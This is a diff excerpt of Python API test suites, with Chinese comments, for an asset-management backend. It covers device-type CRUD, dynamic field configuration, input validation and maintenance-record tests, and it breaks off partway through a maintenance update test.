# 如果有关联资产应该返回400或403
|
||||
# assert response.status_code in [400, 403]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_filter_device_type_by_category(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type
|
||||
):
|
||||
"""测试按分类筛选设备类型"""
|
||||
response = await client.get(
|
||||
f"/api/v1/device-types?category={test_device_type.category}",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["code"] == 200
|
||||
# 验证筛选结果
|
||||
# for item in data["data"]:
|
||||
# assert item["category"] == test_device_type.category
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_filter_device_type_by_status(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type
|
||||
):
|
||||
"""测试按状态筛选设备类型"""
|
||||
response = await client.get(
|
||||
f"/api/v1/device-types?status={test_device_type.status}",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["code"] == 200
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_get_device_type_not_found(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict
|
||||
):
|
||||
"""测试获取不存在的设备类型"""
|
||||
response = await client.get(
|
||||
"/api/v1/device-types/999999",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 404
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_update_device_type_not_found(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict
|
||||
):
|
||||
"""测试更新不存在的设备类型"""
|
||||
response = await client.put(
|
||||
"/api/v1/device-types/999999",
|
||||
headers=admin_headers,
|
||||
json={"type_name": "新名称"}
|
||||
)
|
||||
|
||||
assert response.status_code == 404
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_create_device_type_unauthorized(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
sample_device_type_data: dict
|
||||
):
|
||||
"""测试未授权创建设备类型"""
|
||||
response = await client.post(
|
||||
"/api/v1/device-types",
|
||||
json=sample_device_type_data
|
||||
)
|
||||
|
||||
assert response.status_code == 401
|
||||
|
||||
|
||||
# ==================== 动态字段配置测试 ====================
|
||||
|
||||
class TestDynamicFieldConfig:
|
||||
"""测试动态字段配置"""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_add_field_to_device_type(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType,
|
||||
sample_field_data: dict
|
||||
):
|
||||
"""测试为设备类型添加字段"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json=sample_field_data
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["code"] == 200
|
||||
assert data["data"]["field_code"] == sample_field_data["field_code"]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_add_required_field(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType
|
||||
):
|
||||
"""测试添加必填字段"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": "required_field",
|
||||
"field_name": "必填字段",
|
||||
"field_type": "text",
|
||||
"is_required": True,
|
||||
"sort_order": 10
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["data"]["is_required"] is True
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_add_select_field_with_options(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType
|
||||
):
|
||||
"""测试添加下拉选择字段"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": "status",
|
||||
"field_name": "状态",
|
||||
"field_type": "select",
|
||||
"is_required": True,
|
||||
"options": [
|
||||
{"label": "启用", "value": "enabled"},
|
||||
{"label": "禁用", "value": "disabled"}
|
||||
],
|
||||
"sort_order": 10
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["data"]["field_type"] == "select"
|
||||
assert len(data["data"]["options"]) == 2
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_add_number_field_with_validation(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType
|
||||
):
|
||||
"""测试添加数字字段并设置验证规则"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": "price",
|
||||
"field_name": "价格",
|
||||
"field_type": "number",
|
||||
"is_required": False,
|
||||
"validation_rules": {
|
||||
"min": 0,
|
||||
"max": 1000000
|
||||
},
|
||||
"sort_order": 10
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["data"]["field_type"] == "number"
|
||||
assert "validation_rules" in data["data"]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_get_device_type_fields(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type_with_fields: DeviceType
|
||||
):
|
||||
"""测试获取设备类型的字段列表"""
|
||||
response = await client.get(
|
||||
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["code"] == 200
|
||||
assert len(data["data"]) >= 3 # 至少3个字段
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_update_field_success(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
db_session,
|
||||
test_device_type_with_fields: DeviceType
|
||||
):
|
||||
"""测试更新字段成功"""
|
||||
# 获取第一个字段
|
||||
fields_response = await client.get(
|
||||
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
|
||||
headers=admin_headers
|
||||
)
|
||||
field_id = fields_response.json()["data"][0]["id"]
|
||||
|
||||
response = await client.put(
|
||||
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields/{field_id}",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_name": "更新后的字段名",
|
||||
"is_required": False
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_delete_field_success(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type_with_fields: DeviceType
|
||||
):
|
||||
"""测试删除字段成功"""
|
||||
fields_response = await client.get(
|
||||
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
|
||||
headers=admin_headers
|
||||
)
|
||||
field_id = fields_response.json()["data"][0]["id"]
|
||||
|
||||
response = await client.delete(
|
||||
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields/{field_id}",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_add_duplicate_field_code(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type_with_fields: DeviceType,
|
||||
sample_field_data: dict
|
||||
):
|
||||
"""测试添加重复的字段代码"""
|
||||
# 第一次添加
|
||||
await client.post(
|
||||
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
|
||||
headers=admin_headers,
|
||||
json=sample_field_data
|
||||
)
|
||||
|
||||
# 第二次添加相同代码
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
|
||||
headers=admin_headers,
|
||||
json=sample_field_data
|
||||
)
|
||||
|
||||
assert response.status_code in [400, 409]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_fields_sorted_by_order(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type_with_fields: DeviceType
|
||||
):
|
||||
"""测试字段按sort_order排序"""
|
||||
response = await client.get(
|
||||
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
fields = data["data"]
|
||||
|
||||
# 验证排序
|
||||
for i in range(len(fields) - 1):
|
||||
assert fields[i]["sort_order"] <= fields[i + 1]["sort_order"]
|
||||
|
||||
|
||||
# ==================== 字段验证测试 ====================
|
||||
|
||||
class TestFieldValidation:
|
||||
"""测试字段验证"""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("field_code,field_name,expected_status", [
|
||||
("", "字段名", 422), # 空字段代码
|
||||
("a" * 51, "字段名", 422), # 字段代码过长
|
||||
("valid_code", "", 422), # 空字段名称
|
||||
("valid_code", "a" * 101, 422), # 字段名称过长
|
||||
])
|
||||
async def test_field_name_validation(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType,
|
||||
field_code: str,
|
||||
field_name: str,
|
||||
expected_status: int
|
||||
):
|
||||
"""测试字段名称验证"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": field_code,
|
||||
"field_name": field_name,
|
||||
"field_type": "text",
|
||||
"sort_order": 1
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == expected_status
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("field_type", [
|
||||
"text", "textarea", "number", "date", "select",
|
||||
"multiselect", "boolean", "email", "phone", "url"
|
||||
])
|
||||
async def test_valid_field_types(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType,
|
||||
field_type: str
|
||||
):
|
||||
"""测试有效的字段类型"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": f"test_{field_type}",
|
||||
"field_name": f"测试{field_type}",
|
||||
"field_type": field_type,
|
||||
"sort_order": 1
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_invalid_field_type(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType
|
||||
):
|
||||
"""测试无效的字段类型"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": "test",
|
||||
"field_name": "测试",
|
||||
"field_type": "invalid_type",
|
||||
"sort_order": 1
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code in [400, 422]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_select_field_without_options(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType
|
||||
):
|
||||
"""测试select类型字段缺少options"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": "test_select",
|
||||
"field_name": "测试选择",
|
||||
"field_type": "select",
|
||||
"sort_order": 1
|
||||
}
|
||||
)
|
||||
|
||||
# select类型应该有options
|
||||
assert response.status_code in [400, 422]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_validation_rules_json_format(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType
|
||||
):
|
||||
"""测试验证规则的JSON格式"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": "test_validation",
|
||||
"field_name": "测试验证",
|
||||
"field_type": "text",
|
||||
"validation_rules": {
|
||||
"min_length": 1,
|
||||
"max_length": 100,
|
||||
"pattern": "^[A-Za-z0-9]+$"
|
||||
},
|
||||
"sort_order": 1
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "validation_rules" in data["data"]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_placeholder_and_help_text(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType
|
||||
):
|
||||
"""测试placeholder和help_text"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": "test_help",
|
||||
"field_name": "测试帮助",
|
||||
"field_type": "text",
|
||||
"placeholder": "请输入...",
|
||||
"help_text": "这是帮助文本",
|
||||
"sort_order": 1
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["data"]["placeholder"] == "请输入..."
|
||||
assert data["data"]["help_text"] == "这是帮助文本"
|
||||
|
||||
|
||||
# ==================== 参数验证测试 ====================
|
||||
|
||||
class TestDeviceTypeParameterValidation:
|
||||
"""测试设备类型参数验证"""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("type_code,expected_status", [
|
||||
("", 422), # 空代码
|
||||
("AB", 422), # 太短
|
||||
("a" * 51, 422), # 太长
|
||||
("VALID_CODE", 200), # 有效
|
||||
])
|
||||
async def test_type_code_validation(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
type_code: str,
|
||||
expected_status: int
|
||||
):
|
||||
"""测试类型代码验证"""
|
||||
response = await client.post(
|
||||
"/api/v1/device-types",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"type_code": type_code,
|
||||
"type_name": "测试类型",
|
||||
"category": "IT设备"
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == expected_status
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("type_name,expected_status", [
|
||||
("", 422), # 空名称
|
||||
("a" * 201, 422), # 太长
|
||||
("有效名称", 200), # 有效
|
||||
])
|
||||
async def test_type_name_validation(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
type_name: str,
|
||||
expected_status: int
|
||||
):
|
||||
"""测试类型名称验证"""
|
||||
response = await client.post(
|
||||
"/api/v1/device-types",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"type_code": "TEST_CODE",
|
||||
"type_name": type_name
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == expected_status
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_sort_order_validation(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict
|
||||
):
|
||||
"""测试排序验证"""
|
||||
response = await client.post(
|
||||
"/api/v1/device-types",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"type_code": "TEST_SORT",
|
||||
"type_name": "测试排序",
|
||||
"sort_order": -1 # 负数
|
||||
}
|
||||
)
|
||||
|
||||
# 排序可以是负数,或者应该返回422
|
||||
# assert response.status_code in [200, 422]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("status", [
|
||||
"active", "inactive", "invalid_status"
|
||||
])
|
||||
async def test_status_validation(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType,
|
||||
status: str
|
||||
):
|
||||
"""测试状态验证"""
|
||||
response = await client.put(
|
||||
f"/api/v1/device-types/{test_device_type.id}",
|
||||
headers=admin_headers,
|
||||
json={"status": status}
|
||||
)
|
||||
|
||||
# 有效状态应该是200,无效状态应该是422
|
||||
if status in ["active", "inactive"]:
|
||||
assert response.status_code == 200
|
||||
else:
|
||||
assert response.status_code in [400, 422]
|
||||
|
||||
|
||||
# ==================== 异常处理测试 ====================
|
||||
|
||||
class TestDeviceTypeExceptionHandling:
|
||||
"""测试异常处理"""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_concurrent_device_type_creation(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict
|
||||
):
|
||||
"""测试并发创建相同代码的设备类型"""
|
||||
import asyncio
|
||||
|
||||
data = {
|
||||
"type_code": "CONCURRENT_TEST",
|
||||
"type_name": "并发测试"
|
||||
}
|
||||
|
||||
# 并发创建
|
||||
tasks = [
|
||||
client.post("/api/v1/device-types", headers=admin_headers, json=data)
|
||||
for _ in range(2)
|
||||
]
|
||||
responses = await asyncio.gather(*tasks)
|
||||
|
||||
# 应该只有一个成功,另一个失败
|
||||
success_count = sum(1 for r in responses if r.status_code == 200)
|
||||
assert success_count == 1
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_update_non_existent_field(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType
|
||||
):
|
||||
"""测试更新不存在的字段"""
|
||||
response = await client.put(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields/999999",
|
||||
headers=admin_headers,
|
||||
json={"field_name": "更新"}
|
||||
)
|
||||
|
||||
assert response.status_code == 404
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_delete_non_existent_device_type(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict
|
||||
):
|
||||
"""测试删除不存在的设备类型"""
|
||||
response = await client.delete(
|
||||
"/api/v1/device-types/999999",
|
||||
headers=admin_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 404
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_field_with_invalid_json_validation(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType
|
||||
):
|
||||
"""测试字段包含无效的JSON验证规则"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": "test",
|
||||
"field_name": "测试",
|
||||
"field_type": "text",
|
||||
"validation_rules": "invalid json string", # 应该是对象
|
||||
"sort_order": 1
|
||||
}
|
||||
)
|
||||
|
||||
# 应该返回验证错误
|
||||
assert response.status_code in [400, 422]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_field_with_invalid_options_format(
|
||||
self,
|
||||
client: AsyncClient,
|
||||
admin_headers: dict,
|
||||
test_device_type: DeviceType
|
||||
):
|
||||
"""测试select字段包含无效的options格式"""
|
||||
response = await client.post(
|
||||
f"/api/v1/device-types/{test_device_type.id}/fields",
|
||||
headers=admin_headers,
|
||||
json={
|
||||
"field_code": "test",
|
||||
"field_name": "测试",
|
||||
"field_type": "select",
|
||||
"options": "invalid options", # 应该是数组
|
||||
"sort_order": 1
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code in [400, 422]
|
||||
@@ -1,891 +0,0 @@
|
||||
"""
|
||||
维修管理 API 测试
|
||||
|
||||
测试范围:
|
||||
- 维修记录CRUD测试 (20+用例)
|
||||
- 维修状态管理测试 (15+用例)
|
||||
- 维修费用测试 (10+用例)
|
||||
- 维修历史测试 (5+用例)
|
||||
|
||||
总计: 50+ 用例
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from datetime import datetime, timedelta
|
||||
from typing import List
|
||||
from decimal import Decimal
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from app.models.maintenance import Maintenance, MaintenancePart
|
||||
from app.models.asset import Asset
|
||||
from app.schemas.maintenance import (
|
||||
MaintenanceCreate,
|
||||
MaintenanceStatus,
|
||||
MaintenanceType,
|
||||
MaintenancePriority
|
||||
)
|
||||
|
||||
|
||||
# ================================
|
||||
# Fixtures
|
||||
# ================================
|
||||
|
||||
@pytest.fixture
|
||||
def test_assets_for_maintenance(db: Session) -> List[Asset]:
|
||||
"""创建需要维修的测试资产"""
|
||||
assets = []
|
||||
for i in range(3):
|
||||
asset = Asset(
|
||||
asset_code=f"TEST-MAINT-{i+1:03d}",
|
||||
asset_name=f"测试维修资产{i+1}",
|
||||
device_type_id=1,
|
||||
organization_id=1,
|
||||
status="maintenance",
|
||||
purchase_date=datetime.now() - timedelta(days=365)
|
||||
)
|
||||
db.add(asset)
|
||||
assets.append(asset)
|
||||
db.commit()
|
||||
for asset in assets:
|
||||
db.refresh(asset)
|
||||
return assets
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def test_maintenance_record(db: Session, test_assets_for_maintenance: List[Asset]) -> Maintenance:
|
||||
"""创建测试维修记录"""
|
||||
maintenance = Maintenance(
|
||||
maintenance_no="MAINT-2025-001",
|
||||
asset_id=test_assets_for_maintenance[0].id,
|
||||
maintenance_type=MaintenanceType.PREVENTIVE,
|
||||
priority=MaintenancePriority.MEDIUM,
|
||||
status=MaintenanceStatus.PENDING,
|
||||
fault_description="设备异常噪音",
|
||||
reported_by=1,
|
||||
reported_time=datetime.now(),
|
||||
estimated_cost=Decimal("500.00"),
|
||||
estimated_start_time=datetime.now() + timedelta(days=1),
|
||||
estimated_completion_time=datetime.now() + timedelta(days=3)
|
||||
)
|
||||
db.add(maintenance)
|
||||
db.commit()
|
||||
db.refresh(maintenance)
|
||||
return maintenance
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def test_maintenance_with_parts(db: Session, test_assets_for_maintenance: List[Asset]) -> Maintenance:
|
||||
"""创建包含配件的维修记录"""
|
||||
maintenance = Maintenance(
|
||||
maintenance_no="MAINT-2025-002",
|
||||
asset_id=test_assets_for_maintenance[1].id,
|
||||
maintenance_type=MaintenanceType.CORRECTIVE,
|
||||
priority=MaintenancePriority.HIGH,
|
||||
status=MaintenanceStatus.IN_PROGRESS,
|
||||
fault_description="设备故障无法启动",
|
||||
reported_by=1,
|
||||
reported_time=datetime.now(),
|
||||
actual_start_time=datetime.now(),
|
||||
estimated_cost=Decimal("1500.00")
|
||||
)
|
||||
db.add(maintenance)
|
||||
db.commit()
|
||||
db.refresh(maintenance)
|
||||
|
||||
# 添加维修配件
|
||||
parts = [
|
||||
MaintenancePart(
|
||||
maintenance_id=maintenance.id,
|
||||
part_name="电机",
|
||||
part_code="PART-001",
|
||||
quantity=1,
|
||||
unit_price=Decimal("800.00")
|
||||
),
|
||||
MaintenancePart(
|
||||
maintenance_id=maintenance.id,
|
||||
part_name="轴承",
|
||||
part_code="PART-002",
|
||||
quantity=2,
|
||||
unit_price=Decimal("100.00")
|
||||
)
|
||||
]
|
||||
for part in parts:
|
||||
db.add(part)
|
||||
db.commit()
|
||||
|
||||
return maintenance
|
||||
|
||||
|
||||
# ================================
|
||||
# 维修记录CRUD测试 (20+用例)
|
||||
# ================================
|
||||
|
||||
class TestMaintenanceCRUD:
|
||||
"""维修记录CRUD操作测试"""
|
||||
|
||||
def test_create_maintenance_with_valid_data(self, client, auth_headers, test_assets_for_maintenance):
|
||||
"""测试使用有效数据创建维修记录"""
|
||||
asset = test_assets_for_maintenance[0]
|
||||
|
||||
response = client.post(
|
||||
"/api/v1/maintenance/",
|
||||
json={
|
||||
"asset_id": asset.id,
|
||||
"maintenance_type": "corrective",
|
||||
"priority": "high",
|
||||
"fault_description": "设备故障需要维修",
|
||||
"reported_by": 1,
|
||||
"estimated_cost": 1000.00,
|
||||
"estimated_start_time": (datetime.now() + timedelta(hours=2)).isoformat(),
|
||||
"estimated_completion_time": (datetime.now() + timedelta(days=2)).isoformat()
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["maintenance_no"] is not None
|
||||
assert data["status"] == MaintenanceStatus.PENDING
|
||||
assert data["asset_id"] == asset.id
|
||||
|
||||
def test_create_maintenance_with_invalid_asset_id(self, client, auth_headers):
|
||||
"""测试使用无效资产ID创建维修记录应失败"""
|
||||
response = client.post(
|
||||
"/api/v1/maintenance/",
|
||||
json={
|
||||
"asset_id": 999999,
|
||||
"maintenance_type": "corrective",
|
||||
"priority": "medium",
|
||||
"fault_description": "测试",
|
||||
"reported_by": 1
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 404
|
||||
assert "资产不存在" in response.json()["detail"]
|
||||
|
||||
def test_create_maintenance_without_fault_description(self, client, auth_headers, test_assets_for_maintenance):
|
||||
"""测试创建维修记录时未提供故障描述应失败"""
|
||||
asset = test_assets_for_maintenance[0]
|
||||
|
||||
response = client.post(
|
||||
"/api/v1/maintenance/",
|
||||
json={
|
||||
"asset_id": asset.id,
|
||||
"maintenance_type": "corrective",
|
||||
"priority": "medium",
|
||||
"reported_by": 1
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 400
|
||||
assert "故障描述" in response.json()["detail"]
|
||||
|
||||
def test_create_maintenance_with_negative_cost(self, client, auth_headers, test_assets_for_maintenance):
|
||||
"""测试创建负费用的维修记录应失败"""
|
||||
asset = test_assets_for_maintenance[0]
|
||||
|
||||
response = client.post(
|
||||
"/api/v1/maintenance/",
|
||||
json={
|
||||
"asset_id": asset.id,
|
||||
"maintenance_type": "corrective",
|
||||
"priority": "medium",
|
||||
"fault_description": "测试",
|
||||
"reported_by": 1,
|
||||
"estimated_cost": -100.00
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 400
|
||||
|
||||
def test_create_maintenance_auto_updates_asset_status(self, client, auth_headers, db: Session, test_assets_for_maintenance):
|
||||
"""测试创建维修记录时自动更新资产状态"""
|
||||
asset = test_assets_for_maintenance[0]
|
||||
original_status = asset.status
|
||||
|
||||
response = client.post(
|
||||
"/api/v1/maintenance/",
|
||||
json={
|
||||
"asset_id": asset.id,
|
||||
"maintenance_type": "corrective",
|
||||
"priority": "medium",
|
||||
"fault_description": "测试自动更新状态",
|
||||
"reported_by": 1
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
# 验证资产状态已更新
|
||||
db.refresh(asset)
|
||||
assert asset.status == "maintenance"
|
||||
|
||||
def test_get_maintenance_list_with_pagination(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试分页获取维修记录列表"""
|
||||
response = client.get(
|
||||
"/api/v1/maintenance/?page=1&page_size=10",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "items" in data
|
||||
assert "total" in data
|
||||
assert len(data["items"]) >= 1
|
||||
|
||||
def test_get_maintenance_list_with_status_filter(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试按状态筛选维修记录"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/?status={MaintenanceStatus.PENDING}",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
for item in data["items"]:
|
||||
assert item["status"] == MaintenanceStatus.PENDING
|
||||
|
||||
def test_get_maintenance_list_with_asset_filter(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试按资产筛选维修记录"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/?asset_id={test_maintenance_record.asset_id}",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert len(data["items"]) >= 1
|
||||
|
||||
def test_get_maintenance_list_with_type_filter(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试按维修类型筛选"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/?maintenance_type={test_maintenance_record.maintenance_type}",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_get_maintenance_list_with_priority_filter(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试按优先级筛选"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/?priority={test_maintenance_record.priority}",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_get_maintenance_list_with_date_range(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试按日期范围筛选"""
|
||||
start_date = (datetime.now() - timedelta(days=1)).strftime("%Y-%m-%d")
|
||||
end_date = (datetime.now() + timedelta(days=1)).strftime("%Y-%m-%d")
|
||||
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/?start_date={start_date}&end_date={end_date}",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_get_maintenance_by_id(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试通过ID获取维修记录详情"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["id"] == test_maintenance_record.id
|
||||
assert data["maintenance_no"] == test_maintenance_record.maintenance_no
|
||||
assert "asset" in data
|
||||
|
||||
def test_get_maintenance_by_invalid_id(self, client, auth_headers):
|
||||
"""测试通过无效ID获取维修记录应返回404"""
|
||||
response = client.get(
|
||||
"/api/v1/maintenance/999999",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 404
|
||||
|
||||
def test_update_maintenance_fault_description(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试更新故障描述"""
|
||||
response = client.put(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}",
|
||||
json={"fault_description": "更新后的故障描述"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["fault_description"] == "更新后的故障描述"
|
||||
|
||||
def test_update_maintenance_priority(self, client, auth_headers, test_maintenance_record):
|
